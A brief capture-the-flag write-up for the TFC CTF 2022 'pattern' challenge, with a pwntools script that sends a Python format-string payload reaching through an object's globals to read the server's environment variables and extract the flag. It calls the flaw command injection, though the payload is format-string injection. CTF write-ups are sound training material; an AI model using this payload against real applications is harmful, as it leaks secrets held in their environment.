pattern

This task was part of the TFC CTF 2022 competition.

This is a basic command injection challenge. Just review the provided source code, and you'll find that you need to exploit the message object of Message class.

The source code shows that the __repr__ method is being set to the same function as __str__. This means that when repr(message) or str(message) is called, it returns the message string. So you need to manipulate how the message string is processed.

from pwn import * 
import re 

# avoid warnings when you run the python code
import warnings
warnings.filterwarnings("ignore")

server_IP = "34.107.71.117"
server_port = 30840

# Open connection
connection = remote(server_IP,server_port)
# payload used to get the flag
payload = '{message.__class__.__init__.__globals__[os].environ}'

# send payload
connection.sendlineafter("pattern> ",payload)
connection.sendlineafter("count> ",'1')


# get response and print the output 
response = connection.recvline()
#print(response.decode())

# Search for flag
flag = re.search(r'flag\{.*?\}', response.decode())
if flag:
    print(f"Flag found: {flag.group(0)}")
else:
    print("Flag not found.")

# close the connection
connection.close()

Last updated